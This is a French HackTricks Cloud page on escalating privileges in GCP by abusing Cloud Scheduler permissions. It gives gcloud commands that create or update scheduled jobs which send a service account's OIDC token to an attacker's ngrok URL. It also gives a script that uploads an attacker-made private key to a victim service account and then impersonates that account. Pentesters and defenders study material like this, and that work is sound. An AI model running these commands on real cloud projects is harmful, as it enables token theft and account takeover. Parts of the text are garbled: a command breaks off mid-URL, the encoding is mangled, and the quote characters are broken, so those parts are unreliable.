GCP - Cloud Scheduler Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Cloud Scheduler
Plus dâinformations dans :
cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)
Un attaquant disposant de ces permissions pourrait exploiter Cloud Scheduler pour authentifier des cron jobs en tant quâun Service Account spĂ©cifique. En construisant une requĂȘte HTTP POST, lâattaquant planifie des actions, comme la crĂ©ation dâun Storage bucket, pour sâexĂ©cuter sous lâidentitĂ© du Service Account. Cette mĂ©thode tire parti de la capacitĂ© du Scheduler Ă cibler des endpoints *.googleapis.com et Ă authentifier des requĂȘtes, permettant Ă lâattaquant de manipuler directement les endpoints de lâAPI Google en utilisant une simple commande gcloud.
- Contacter nâimporte quelle API google via
googleapis.comavec un en-tĂȘte de token OAuth
Créer un nouveau Storage bucket :
Create Cloud Scheduler job to create GCS bucket via API
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=Pour escalader les privilĂšges, un attaquant se contente de crĂ©er une requĂȘte HTTP visant lâAPI souhaitĂ©e, en se faisant passer pour le Service Account spĂ©cifiĂ©
- Exfiltrer le token OIDC du Service Account
Créer un job Cloud Scheduler pour exfiltrer le token OIDC
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']Listen in the ngrok address to get the OIDC token in clear text.
</details>
Si vous devez vĂ©rifier la rĂ©ponse HTTP, vous pouvez simplement t**jeter un coup d'Ćil aux journaux de l'exĂ©cution**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Comme dans le scénario précédent, il est possible de **mettre à jour un scheduler déjà créé** pour voler le token ou effectuer des actions. Par exemple:
<details><summary>Mettre Ă jour un job Cloud Scheduler existant pour exfiltrer le token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Un autre exemple pour téléverser une clé privée sur un SA et impersonate it :
Upload private key to Service Account via Cloud Scheduler and impersonate it
```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem
Update scheduler to upload the key to a SA
For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1
âschedule=â* * * * *â
âuri=âhttps://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=jsonâ
âmessage-body=â{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}â
âupdate-headers âContent-Type=application/jsonâ
âlocation us-central1
âoauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
Wait 1 min
sleep 60
Check the logs to check it worked
gcloud logging read âresource.type=âcloud_scheduler_jobâ AND resource.labels.job_id=âscheduler_lab_1â AND resource.labels.location=âus-central1â
jsonPayload.@type=âtype.googleapis.com/google.cloud.scheduler.logging.AttemptFinishedââ âlimit 10 âproject
If any ââstatusâ: 200â it means it worked!
Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: âstatusâ: 400
Build the json to contact the SA
Get privatekey in json format
file_content=$(<â/tmp/private_key.pemâ) private_key_json=$(jq -Rn âarg str â$file_contentâ â$strâ)
Get ID of the generated key
gcloud iam service-accounts keys list âiam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
Create the json in a file
NOTE that you need to export your project-id in the env var PROJECT_ID
and that this script is expecting the key ID to be the first one (check the head)
export PROJECT_ID=⊠cat > /tmp/lab.json <<EOF { âtypeâ: âservice_accountâ, âproject_idâ: â$PROJECT_IDâ, âprivate_key_idâ: â$(gcloud iam service-accounts keys list âiam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d â â -f 1 | grep -v KEY_ID | head -n 1)â, âprivate_keyâ: $private_key_json, âclient_emailâ: âscheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.comâ, âclient_idâ: â$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d âââ -f 2)â, âauth_uriâ: âhttps://accounts.google.com/o/oauth2/authâ, âtoken_uriâ: âhttps://oauth2.googleapis.com/tokenâ, âauth_provider_x509_cert_urlâ: âhttps://www.googleapis.com/oauth2/v1/certsâ, âclient_x509_cert_urlâ: âhttps://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.comâ, âuniverse_domainâ: âgoogleapis.comâ } EOF
Activate the generated key
gcloud auth activate-service-account âkey-file=/tmp/lab.json
</details>
## Références
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

